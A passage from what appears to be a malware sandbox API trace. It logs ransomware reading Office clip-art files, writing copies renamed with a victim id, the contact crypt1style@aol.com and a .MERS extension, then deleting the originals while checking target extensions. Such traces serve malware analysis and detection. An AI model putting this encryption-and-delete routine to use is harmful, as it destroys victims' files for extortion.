lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0260.916] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0260.916] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00021_.gif.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0261.173] GetLastError () returned 0x0 [0261.173] ReadFile (in: hFile=0x3a8, lpBuffer=0x3fb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesRead=0x336fed4*=0x3a19, lpOverlapped=0x0) returned 1 [0261.311] WriteFile (in: hFile=0x2d8, lpBuffer=0x3fb0020*, nNumberOfBytesToWrite=0x3a20, lpNumberOfBytesWritten=0x336fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesWritten=0x336fc9c*=0x3a20, lpOverlapped=0x0) returned 1 [0261.311] ReadFile (in: hFile=0x3a8, lpBuffer=0x3fb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesRead=0x336fed4*=0x0, lpOverlapped=0x0) returned 1 [0261.311] WriteFile (in: hFile=0x2d8, lpBuffer=0x3fb0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x336fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesWritten=0x336fc9c*=0xec, lpOverlapped=0x0) returned 1 [0261.312] SetEndOfFile (hFile=0x2d8) returned 1 [0261.312] CloseHandle (hObject=0x2d8) returned 1 [0261.312] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.312] SetEndOfFile (hFile=0x3a8) returned 1 [0261.638] CloseHandle (hObject=0x3a8) returned 1 [0261.638] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0261.639] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00021_.gif")) returned 1 [0261.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 63 [0261.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 63 [0261.646] lstrlenW (lpString=".doc") returned 4 [0261.646] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0261.646] lstrlenW (lpString=".docx") returned 5 [0261.646] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0261.646] lstrlenW (lpString=".pdf") returned 4 [0261.646] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0261.646] lstrlenW (lpString=".xls") returned 4 [0261.646] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0261.646] lstrlenW (lpString=".xlsx") returned 5 [0261.646] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0261.646] lstrlenW (lpString=".ppt") returned 4 [0261.646] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0261.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 63 [0261.646] lstrlenW (lpString=".zip") returned 4 [0261.646] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0261.646] lstrlenW (lpString=".rar") returned 4 [0261.646] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0261.646] lstrlenW (lpString=".bz2") returned 4 [0261.646] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0261.646] lstrlenW (lpString=".7z") returned 3 [0261.647] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0261.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 63 [0261.647] lstrlenW (lpString=".dbf") returned 4 [0261.647] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0261.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 63 [0261.647] lstrlenW (lpString=".1cd") returned 4 [0261.647] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0261.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 63 [0261.647] lstrlenW (lpString=".jpg") returned 4 [0261.647] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0261.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 63 [0261.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 63 [0261.647] lstrlenW (lpString=".doc") returned 4 [0261.647] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0261.647] lstrlenW (lpString=".docx") returned 5 [0261.647] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0261.647] lstrlenW (lpString=".pdf") returned 4 [0261.647] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0261.647] lstrlenW (lpString=".xls") returned 4 [0261.648] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0261.648] lstrlenW (lpString=".xlsx") returned 5 [0261.648] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0261.648] lstrlenW (lpString=".ppt") returned 4 [0261.648] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0261.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 63 [0261.648] lstrlenW (lpString=".zip") returned 4 [0261.648] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0261.648] lstrlenW (lpString=".rar") returned 4 [0261.648] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0261.648] lstrlenW (lpString=".bz2") returned 4 [0261.648] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0261.648] lstrlenW (lpString=".7z") returned 3 [0261.648] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0261.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 63 [0261.648] lstrlenW (lpString=".dbf") returned 4 [0261.648] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0261.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 63 [0261.648] lstrlenW (lpString=".1cd") returned 4 [0261.648] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0261.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 63 [0261.648] lstrlenW (lpString=".jpg") returned 4 [0261.648] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0261.649] lstrcmpiW (lpString1=".GIF", lpString2=".MERS") returned -1 [0261.649] lstrlenW (lpString="AG00052_.GIF") returned 12 [0261.649] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00052_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0262.190] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x336ff1c | out: lpFileSize=0x336ff1c*=7686) returned 1 [0262.190] CloseHandle (hObject=0x3a0) returned 1 [0262.190] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00052_.gif")) returned 0x20 [0262.208] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00052_.gif.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0262.271] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00052_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0262.294] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.294] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.294] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00052_.gif.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0262.297] GetLastError () returned 0x0 [0262.297] ReadFile (in: hFile=0x3b8, lpBuffer=0x3fb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesRead=0x336fed4*=0x1e06, lpOverlapped=0x0) returned 1 [0262.412] WriteFile (in: hFile=0x3c0, lpBuffer=0x3fb0020*, nNumberOfBytesToWrite=0x1e10, lpNumberOfBytesWritten=0x336fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesWritten=0x336fc9c*=0x1e10, lpOverlapped=0x0) returned 1 [0262.412] ReadFile (in: hFile=0x3b8, lpBuffer=0x3fb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesRead=0x336fed4*=0x0, lpOverlapped=0x0) returned 1 [0262.413] WriteFile (in: hFile=0x3c0, lpBuffer=0x3fb0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x336fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesWritten=0x336fc9c*=0xec, lpOverlapped=0x0) returned 1 [0262.413] SetEndOfFile (hFile=0x3c0) returned 1 [0263.280] CloseHandle (hObject=0x3c0) returned 1 [0263.479] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.479] SetEndOfFile (hFile=0x3b8) returned 1 [0263.506] CloseHandle (hObject=0x3b8) returned 1 [0263.506] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0263.667] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00052_.gif")) returned 1 [0263.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 63 [0263.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 63 [0263.667] lstrlenW (lpString=".doc") returned 4 [0263.667] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0263.667] lstrlenW (lpString=".docx") returned 5 [0263.667] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0263.667] lstrlenW (lpString=".pdf") returned 4 [0263.667] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0263.667] lstrlenW (lpString=".xls") returned 4 [0263.667] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0263.667] lstrlenW (lpString=".xlsx") returned 5 [0263.667] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0263.667] lstrlenW (lpString=".ppt") returned 4 [0263.667] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0263.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 63 [0263.668] lstrlenW (lpString=".zip") returned 4 [0263.668] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0263.668] lstrlenW (lpString=".rar") returned 4 [0263.668] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0263.668] lstrlenW (lpString=".bz2") returned 4 [0263.668] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0263.668] lstrlenW (lpString=".7z") returned 3 [0263.668] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0263.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 63 [0263.668] lstrlenW (lpString=".dbf") returned 4 [0263.668] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0263.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 63 [0263.668] lstrlenW (lpString=".1cd") returned 4 [0263.668] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0263.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 63 [0263.668] lstrlenW (lpString=".jpg") returned 4 [0263.668] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0263.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 63 [0263.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 63 [0263.668] lstrlenW (lpString=".doc") returned 4 [0263.668] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0263.668] lstrlenW (lpString=".docx") returned 5 [0263.668] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0263.668] lstrlenW (lpString=".pdf") returned 4 [0263.668] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0263.668] lstrlenW (lpString=".xls") returned 4 [0263.668] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0263.668] lstrlenW (lpString=".xlsx") returned 5 [0263.668] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0263.669] lstrlenW (lpString=".ppt") returned 4 [0263.669] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0263.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 63 [0263.669] lstrlenW (lpString=".zip") returned 4 [0263.669] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0263.669] lstrlenW (lpString=".rar") returned 4 [0263.669] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0263.669] lstrlenW (lpString=".bz2") returned 4 [0263.669] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0263.669] lstrlenW (lpString=".7z") returned 3 [0263.669] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0263.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 63 [0263.669] lstrlenW (lpString=".dbf") returned 4 [0263.669] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0263.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 63 [0263.669] lstrlenW (lpString=".1cd") returned 4 [0263.669] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0263.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 63 [0263.669] lstrlenW (lpString=".jpg") returned 4 [0263.669] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0263.669] lstrcmpiW (lpString1=".GIF", lpString2=".MERS") returned -1 [0263.669] lstrlenW (lpString="AG00120_.GIF") returned 12 [0263.669] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00120_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0263.670] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x336ff1c | out: lpFileSize=0x336ff1c*=3484) returned 1 [0263.670] CloseHandle (hObject=0x360) returned 1 [0263.670] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00120_.gif")) returned 0x20 [0263.670] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00120_.gif.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0263.670] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00120_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0263.670] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.670] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.670] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00120_.gif.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0263.670] GetLastError () returned 0x0 [0263.671] ReadFile (in: hFile=0x360, lpBuffer=0x3fb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesRead=0x336fed4*=0xd9c, lpOverlapped=0x0) returned 1 [0263.913] WriteFile (in: hFile=0x3b4, lpBuffer=0x3fb0020*, nNumberOfBytesToWrite=0xda0, lpNumberOfBytesWritten=0x336fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesWritten=0x336fc9c*=0xda0, lpOverlapped=0x0) returned 1 [0263.914] ReadFile (in: hFile=0x360, lpBuffer=0x3fb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesRead=0x336fed4*=0x0, lpOverlapped=0x0) returned 1 [0263.914] WriteFile (in: hFile=0x3b4, lpBuffer=0x3fb0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x336fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesWritten=0x336fc9c*=0xec, lpOverlapped=0x0) returned 1 [0263.914] SetEndOfFile (hFile=0x3b4) returned 1 [0264.229] CloseHandle (hObject=0x3b4) returned 1 [0264.388] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.388] SetEndOfFile (hFile=0x360) returned 1 [0264.859] CloseHandle (hObject=0x360) returned 1 [0264.859] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0264.884] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00120_.gif")) returned 1 [0264.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63 [0264.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63 [0264.890] lstrlenW (lpString=".doc") returned 4 [0264.890] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0264.890] lstrlenW (lpString=".docx") returned 5 [0264.890] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0264.890] lstrlenW (lpString=".pdf") returned 4 [0264.890] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0264.890] lstrlenW (lpString=".xls") returned 4 [0264.890] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0264.890] lstrlenW (lpString=".xlsx") returned 5 [0264.891] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0264.891] lstrlenW (lpString=".ppt") returned 4 [0264.891] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0264.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63 [0264.891] lstrlenW (lpString=".zip") returned 4 [0264.891] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0264.891] lstrlenW (lpString=".rar") returned 4 [0264.891] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0264.891] lstrlenW (lpString=".bz2") returned 4 [0264.891] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0264.891] lstrlenW (lpString=".7z") returned 3 [0264.891] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0264.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63 [0264.891] lstrlenW (lpString=".dbf") returned 4 [0264.891] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0264.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63 [0264.891] lstrlenW (lpString=".1cd") returned 4 [0264.891] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0264.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63 [0264.891] lstrlenW (lpString=".jpg") returned 4 [0264.891] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0264.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63 [0264.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63 [0264.891] lstrlenW (lpString=".doc") returned 4 [0264.891] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0264.891] lstrlenW (lpString=".docx") returned 5 [0264.891] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0264.891] lstrlenW (lpString=".pdf") returned 4 [0264.891] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0264.891] lstrlenW (lpString=".xls") returned 4 [0264.891] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0264.891] lstrlenW (lpString=".xlsx") returned 5 [0264.891] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0264.891] lstrlenW (lpString=".ppt") returned 4 [0264.892] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0264.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63 [0264.892] lstrlenW (lpString=".zip") returned 4 [0264.892] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0264.892] lstrlenW (lpString=".rar") returned 4 [0264.892] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0264.892] lstrlenW (lpString=".bz2") returned 4 [0264.892] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0264.892] lstrlenW (lpString=".7z") returned 3 [0264.892] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0264.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63 [0264.892] lstrlenW (lpString=".dbf") returned 4 [0264.892] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0264.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63 [0264.892] lstrlenW (lpString=".1cd") returned 4 [0264.892] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0264.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63 [0264.892] lstrlenW (lpString=".jpg") returned 4 [0264.892] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0264.892] lstrcmpiW (lpString1=".GIF", lpString2=".MERS") returned -1 [0264.892] lstrlenW (lpString="AG00126_.GIF") returned 12 [0264.892] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00126_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0264.892] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x336ff1c | out: lpFileSize=0x336ff1c*=3140) returned 1 [0264.893] CloseHandle (hObject=0x3ac) returned 1 [0264.893] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00126_.gif")) returned 0x20 [0264.893] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00126_.gif.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0264.893] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00126_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0264.893] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.893] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.893] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00126_.gif.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0264.893] GetLastError () returned 0x0 [0264.893] ReadFile (in: 